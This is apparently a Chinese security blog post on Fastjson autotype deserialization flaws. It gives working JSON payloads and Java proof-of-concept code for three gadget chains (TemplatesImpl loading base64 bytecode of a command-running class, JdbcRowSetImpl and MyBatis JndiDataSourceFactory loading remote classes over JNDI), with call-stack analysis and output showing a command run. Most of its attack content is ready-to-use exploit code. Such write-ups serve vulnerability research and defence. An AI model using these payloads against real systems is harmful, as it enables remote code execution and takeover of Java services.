Fast JSON 反序列化安全
Fast JSON 反序列化安全漏洞
FastJSON 反序列化安全问题
fastjson 在序列化时,可采用 Feature.WirteClassName 来额外生成一个键值对: "@type":"ClassName";
当 fastjson 在反序列化时,在版本 \(1.27\) 之前,会自动读取该键值对并调用无参构造函数实例化该类型对象。
所以攻击者可以在输入的json数据中,添加 @type 字段,值为一个服务端可访问的全限定类名,并且在json数据中设置相应的属性,可以通过其无参构造函数进行利用,从而造成某种攻击效果。
序列化时,FastJson 通过 getter(优先) 以及公有属性获取键值对;
反序列化时,如果通过 @type 键或者 Class 参数提供了类型信息,FastJson 通过 setter、getter 以及公有属性(无 setter 或 getter 时)获取并设置字段;
注意:
如果即使 setter/getter 没有对应的属性,fastjson 也会认为是一个字段,其方法会被触发。可以通过
SerializerFeature.IgnoreNonFieldGetter与SerializerFeature.IgnoreErrorGetter来规避类似问题;另外 setter/getter 命名方式很宽松,大小写、字段前加
_以及去除属性的开头的_都可以被正确识别。
当提供 Feature.SupportNonPublicField 时,会通过反射获取字段,此时 getter 可能不会被调用;
注意:提供了
@type键以及该Feature.SupportNonPublicField,但却没有提供Class参数,fastjson 尝试无参实例化生成该类型对象之后,会将其转化为JSONObject,最终导致类型转换异常。
例:
public class MyObject {
public String getName(){
System.out.println("getName");
return "this is my name";
}
public long getID(){
System.out.println("getID");
return 1;
}
public void setName(String name){
System.out.println("setName");
}
}
@Test
public void getTest() {
String json = JSON.toJSONString(new MyObject(), SerializerFeature.WriteClassName);
System.out.println(json);
json = "{\"@type\":\"pojo.MyObject\",\"iD\":1,\"name\":\"this is my name\"}";
JSON.parseObject(json);
}
getID
getName
{"@type":"pojo.MyObject","iD":1,"name":"this is my name"}
setName
getID
getName
当然在反序列化时,通过
@type键或者Class参数提供了类型信息时,才会通过getter/setter获取字段名。
TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 在一个 getter 方法调用时会动态地加载字节码,并实例化对象,因此可以利用此类实现反序列化攻击。
payload:
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["base64 encoded class file"],
"_name":"non.empty",
"_tfactory":{},
"_outputProperties":{}
}
PoC
命令执行恶意类:在实例化时执行命令。(也可以使用静态代码块,在类初始化时就开始执行)
package exploit;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilExecutor extends AbstractTranslet {
{
try{
Process process = Runtime.getRuntime().exec(new String[]{"firefox"};);
process.waitFor();
System.out.println("end");
}catch(Exception e){
e.printStackTrace();
}
}
public EvilExecutor() throws Exception {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
}
演示代码:读取恶意类的编译好的字节码,经过base64编码后,构造json数据,并使用fastjson解析:
@Test
public void PoC() throws IOException {
byte[] bytes = Files.readAllBytes(new File("target/classes/exploit/EvilExecutor.class").toPath());
String encoded = "\""+new String(Base64.getEncoder().encode(bytes))+"\"";
String data = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":["+encoded+"]," +
"\"_name\":\"a.b\"," +
"\"_tfactory\":{}," +
"\"_outputProperties\":{}\n}";
System.out.println(data);
JSON.parseObject(data, Feature.SupportNonPublicField);
}
注意:对于byte数组,FastJSON 序列化时会进行Base64编码;反序列化时,如果确定了该字段为
byte数组,这会尝试Base64解码。
json的键实际上就是 TemplatesImpl 的部分属性:
public final class TemplatesImpl implements Templates, Serializable {
static final long serialVersionUID = 673094361519270707L;
public final static String DESERIALIZE_TRANSLET = "jdk.xml.enableTemplatesImplDeserialization";
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
private String _name = null;
private byte[][] _bytecodes = null;
private Class[] _class = null;
private int _transletIndex = -1;
private transient Map<String, Class<?>> _auxClasses = null;
private Properties _outputProperties;
private int _indentNumber;
private transient URIResolver _uriResolver = null;
private transient ThreadLocal _sdom = new ThreadLocal();
private transient TransformerFactoryImpl _tfactory = null;
private transient boolean _overrideDefaultParser;
private transient String _accessExternalStylesheet = XalanConstants.EXTERNAL_ACCESS_DEFAULT;
过程分析
调用栈:
getTransletInstance:456, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
// 反射
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
// fastjson
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
PoC:29, PoCTest (expoit)
getOuputProperties
设置 _outputProperties 属性时,会调用 getOuputProperties 方法:

而 getOutputProperties 中又会实例化一个 TransformerImpl:

其中一个参数调用了 getTransletInstance 方法:

注意:如果
this._name为null,该方法会直接返回null,所以在构造json时需要添加该键:_name;
defineTransletClasses
当 this._class 为 null 时, 会进入 this.defineTransletClasses 方法,生成一个 TransletClassLoader loader;
最终会遍历 this._bytes ,并调用 loader.defineClass(_bytecode[i]) 载入每一个相关类的字节码:

当从 this._bytes 载入了对应的类之后,便尝试从该类的Class对象获取其超类类型,当类名与字符串常量 ABSTRACT_TRANSLET 相等时,则会将 this._transletIndex 设为当前的 i;否则只是将载入的Class对象存入 this._auxClasses 。
这也就是为什么恶意命令执行类要继承于
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,也就是ABSTRACT_TRANSLET的值。
读取的字节码载入的类,最终会被写到 this._class ,一个Class数组中。
该方法返回后,最终调用 this._class[_transletIndex] 的 newInstance 方法,调用无参构造方法,生成一个新的实例:

注意:因为
this._transletIndex在遍历载入的字节码时发生变动,所以生成的实例类的类型为最后一个有效的载入类。
此时,无参构造方法中的代码就会被调用。
局限性
由于方式涉及到私有属性的写入,只有在开启 Feature.SupportNonPublicField 的情况下才有效。
注意:
Feature.SupportNonPublicField在 \(1.2.22\) 版本被引入。
JdbcRowSetImpl
com.sun.rowset.JdbcRowSetImpl:

该方式利用 JDNI + JdbcRowImpl,所以需要JDNI注入所需条件。
payload:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:1099/exec",
"autoCommit":true
}
PoC
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/exec\", \"autoCommit\":true}";
JSON.parse(payload);
ExecutorFactory is constructed.
generating a new CmdExecutor...
Cmd Executor is constructed. cmd: whoami
exec.CmdExecutor ==> whoami: niss
com.alibaba.fastjson.JSONException: set property error, autoCommit
过程分析
setAutoCommit
因为json数据中包含 autoCommit:true,所以 fastjson 会调用 com.sun.rowset.JdbcRowSetImpl#setAutoCommit 方法:

由于无参构造的属性 conn 是 null,会先调用 connect 方法生成 Connection 实例后,再去调用 con.setAutocommit。
connect

从这里可以看出,该方法通过 InitialContext 的 lookup 方法去加载 Datasource 实例,本身InittialContext 是支持jndi的,所以可以通过 getDataSourceName 的返回值为参数,来通过JNDI远程获取攻击者服务器上的恶意类资源。
而这个 getDataSourceName 实际上就是返回了 JdbcRowSetImpl 的属性 Sting dataSource,所以可以通过在json中构造 dataSource: you/evil/class/location/using/jdni,以在反序列化时获取资源,并执行构造方法。
jdbcRowSetImpl的dataSource以及getter\setter 继承于BaseRowSet。
由于该方法中会将返回实例转换为 DataSource,如果不希望抛出异常,需要让恶意类实现 javax.sql.DataSource 接口:
public interface DataSource extends CommonDataSource, Wrapper {
Connection getConnection() throws SQLException;
Connection getConnection(String username, String password)
throws SQLException;
}
局限性
该方法所需要的属性 autoCommit、 dataSource 都有 public getter\setter,反序列化时不需要 Feature.SupportNonPublicFields 。
但是需要依赖 JDNI,故对版本要求较高或者依靠特殊本地类绕开该限制。
第三方库
Mybatis
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 类,与 JdbcRowSetImpl 类似,也是通过 JNDI 远程加载恶意代码。
注意:
org.apache.ibatis.datasource直到 \(1.2.46\) 才被入到DENY(黑名单)。
payload:
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"rmi://127.0.0.1:1099/exec"
}
}
PoC
public void mybatisTest(){
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String payload = "{\n" +
" \"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n" +
" \"properties\":{\n" +
" \"data_source\":\"rmi://127.0.0.1:1099/exec\"\n" +
" }\n" +
"}";
System.out.println(payload);
JSON.parse(payload);
}
源码:
package org.apache.ibatis.datasource.jndi;
import java.util.Map.Entry;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.sql.DataSource;
import org.apache.ibatis.datasource.DataSourceException;
import org.apache.ibatis.datasource.DataSourceFactory;
public class JndiDataSourceFactory implements DataSourceFactory {
public static final String INITIAL_CONTEXT = "initial_context";
public static final String DATA_SOURCE = "data_source";
public static final String ENV_PREFIX = "env.";
private DataSource dataSource;
@Override
public void setProperties(Properties properties) {
try {
InitialContext initCtx;
Properties env = getEnvProperties(properties);
if (env == null) {
initCtx = new InitialContext();
} else {
initCtx = new InitialContext(env);
}
if (properties.containsKey(INITIAL_CONTEXT) && properties.containsKey(DATA_SOURCE)) {
Context ctx = (Context) initCtx.lookup(properties.getProperty(INITIAL_CONTEXT));
dataSource = (DataSource) ctx.lookup(properties.getProperty(DATA_SOURCE));
} else if (properties.containsKey(DATA_SOURCE)) {
dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));
}
} catch (NamingException e) {
throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e);
}
}
@Override
public DataSource getDataSource() {
return dataSource;
}
private static Properties getEnvProperties(Properties allProps) {
final String PREFIX = ENV_PREFIX;
Properties contextProperties = null;
for (Entry<Object, Object> entry : allProps.entrySet()) {
String key = (String) entry.getKey();
String value = (String) entry.getValue();
if (key.startsWith(PREFIX)) {
if (contextProperties == null) {
contextProperties = new Properties();
}
contextProperties.put(key.substring(PREFIX.length()), value);
}
}
return contextProperties;
}
}
估计当看到 DATA_SOURCE 属性、setProperties 方法以及 initCtx.lookup 就全懂了。

局限性
服务端得用到 Mybatis 相关组件,包括也受到JNDI利用限制。但好处是直到 \(1.2.46\) 版本才被加入黑名单。
参考:

浙公网安备 33010602011771号